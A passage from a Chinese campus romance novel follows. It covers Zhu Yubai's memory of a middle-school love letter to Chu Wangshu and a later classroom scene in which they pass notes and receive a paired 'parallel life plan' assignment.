跟着她的诉说,时钟逆转,他的思绪回到初中时代。
他初中还跟着父母在江州读书,没和楚忘殊在一个学校。
还好得益于小时候寒暑假回爷爷奶奶家,结识了个云城的玩伴柳旭升,他才得以偶尔从他口中获悉楚忘殊的消息。
那是一个周末,柳旭升大早上给他打电话。
一开口就急急忙忙道:“这周有个劲爆的消息,你想不想听?”
祝屿白忍住翻白眼的冲动,“说。”
“你心心念念的人儿早恋了。”柳旭升吊儿郎当地道。
祝屿白捏着手机沉默,嘴唇被咬得泛白。
那头却再度开口:“其实也不算早恋……”
他牙齿松动几分,就听到柳旭升继续说:“就是有人给她写情书。”
柳旭升说完,好笑地看着手机,等对面人的反应。
很长时间过去,还是一片沉默。
“祝屿白,你还在听吗?”柳旭升不确定地问了句,还同情地感慨一句:“啧啧啧,完了,你离云城那么远,说不定等你回来,你就可以见到楚忘殊和她男朋友成双成对了。”
“不会的。”
祝屿白相信,楚忘殊不会在初中谈恋爱,按照她的性格,说不定还会觉得那些人幼稚,连喜欢都不知道是什么。
“柳旭升,帮我个忙。”
“什么?”
“帮我转交一封信。”
回忆戛然而止,祝屿白仍低着头,忽然有些后悔当时冲动地给她写了那封信。
柳旭升的话说得模糊不清,只告诉他楚忘殊收到了情书,却没告诉他,她因为这件事受到了困扰。
如今再一次以这样的方式听到事情的全貌,他心里五味杂陈。
那封信,有没有对她造成困扰?
他记不清当时他写信的动机是什么,或许就连当时的他也不明白为什么要写那么一份信。
但此刻他想了想,那时候他的想法很简单。
他一直明白楚忘殊有多优秀,而这样的人又会受到多少人的青睐,自然也想过,在她热烈张扬的少女时代,会收到多少情书。
他不会去干预,让她明珠蒙尘。
但他希望,在她收到的情书里,有他的一份。
电脑那头楚忘殊讲完,这边的祝屿白也重新整理好了目标。
前几秒他担心她不喜欢他,从而对她造成困扰。
但她没有亲口说出来,只是说她害怕。
那或许代表着,他们是有那么一丝可能的?
即使只有那么万分之一的可能,他也不想放过。
她向后退一百步,那他就向她走一百零一步。
接下来的几天,祝屿白发现楚忘殊真的将“冷淡战术”贯彻到底。
一点和他碰面的意思都没有。
他必须得想个办法。
思来想去,对楚忘殊这样一个“回避型”人格,唯一的解决方法好像只有让她认为他喜欢的人不是她,这样她才能安心地将他划入朋友范围里,不会对他避而不见。
所以,有了今天的这场谈话。
效果似乎还不错,至少让她不再刻意躲着自己。
周一,天气阴沉沉的,冷风呼呼地吹,不时卷下几片枯黄的树叶。
教室内,紧闭着的窗户和门,庇佑出一个平静的环境。
此时距离上课还有五分钟,教室里人几乎坐满了,正嘻嘻哈哈地说笑着。
只有最后一排的祝屿白心里波涛汹涌,眼睛盯着旁边仍然空着的座位。
她不来了吗?
她还是要躲着他吗?
上课铃响起,前门的尹老师踩着点到。
祝屿白望着身边仍然空着的座位,垂下的碎发遮住他的眼睛,让人看不清他在想什么。
他刚移开目光,忽然有个人影猫着腰拉椅子,随后赶忙坐下。
是楚忘殊。
她额头上冒了层细密的汗水,在这样的天气也是罕见。
“咳咳,不好意思我睡过头了。”楚忘殊见他盯着她,不好意思地解释道。
祝屿白简单应了声,随后侧过头,在她看不到的地方嘴角勾了勾。
他想起在这节课上的第一次见面,好像也是如此。
只是那一次阳光大好,而这会儿阴云密布,但不妨碍他嘴角上扬的冲动。
他本想专心地看黑板,让视线不要总是瞟向楚忘殊的地方。
但今天他的自制力又薄弱了很多,总是无法控制,频频向她投去视线,然后又马上移开,生怕被她发现。
可他想多了。
楚忘殊的眼睛
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一直黏在PPT上,半点眼神都没分给外界事物,似乎整个世界里其他都不存在,只剩下她和屏的知识。
祝屿白很惊奇,头一次两人身份对调——楚忘殊专心听课,而他在写纸条。
写完后,他放在桌上推过去,戳了戳她的胳膊。
楚忘殊低头,瞪圆的眼睛同样盛满惊奇——祝屿白上课居然也开始开小差?
她看向字条,上面用祝屿白标志性的字迹写着:你为什么这么专心听课?
楚忘殊:“……”
她无语地看了他一眼。
她不专心听课他写字条来提醒很正常,但她专心听课他写了干什么?
难道她“坏学生”的形象就那么深入人心,稍微认真点都要被他当作怪物研究?
好气,但还是要保持理智,现在还在上课。
她言简意赅地写下解释:学习,帮你。
写完后按照他推过来的路线推回去。
祝屿白看到答案,先是一愣,随后恍然大悟。
其实他很想告诉她,如果她想帮他,不需要专心听课,她只要坐在他身边就好。
但他什么也没说,怕吓着她。
尹老师在讲台上慷慨激昂地讲着,楚忘殊专心致志地听着,不时低头做笔记,或是拿起手机拍PPT的重点内容。
倒是祝屿白,只顾着注意她的动静,课都没怎么听。
墙上的钟表转了好几圈,离下课还有十分钟,尹老师开始布置这周的作业。
“这周的作业很简单。”他拍拍手,笑着说,“你们合伙做个平行人生计划就好。”
这话一出,底下人立马开始叽叽喳喳地讨论。
每次老师布置作业都这样,不管是什么作业,难或不难,反正都要先引起一阵轰轰烈烈的讨论再说。
“老师,平行人生计划是什么?”
“难道让我们写小说,写平行世界里的我们是什么样的?”
……
尹老师推了推眼睛,哭笑不得,“哎哎哎,老师知道你们这群孩子想象力丰富,但这会儿不要丰富过头了,没那么多事。”
“这个平行人生计划呢,就是要你和你的搭档,两人一起制定出一个24小时的行程,行程里面需要包含对方的兴趣,比如你上午的时间按照一位同学平时最喜欢做的方式度过,下午又换人,按另一个人喜欢的方式度过,但记住啊,两人要一起,不要各做各的。”
尹老师解释完,底下人恍然大悟,边拖腔带调、恨不得一个音拐八百个弯地说着“哦哦”,边点头。
“好了,现在还有点时间,你可以开始讨论,或者下课讨论也行。作业还是老规矩,只要在下周一上课前发到助教的邮箱就行。”
尹老师说完,踱步到讲台上喝了口茶,眼神不时落在下面的学生身上。
楚忘殊碰了碰祝屿白,喊他:“哎,你平时都是怎么打发时间的?”
“你真想听?”
“想。”
祝屿白低下头,一脸神秘兮兮,而后轻声在她耳边道:“你猜。”
楚忘殊:“……”
到底谁在讹传这货高冷的!明明就是个幼稚鬼!
“不会都在图书馆吧?”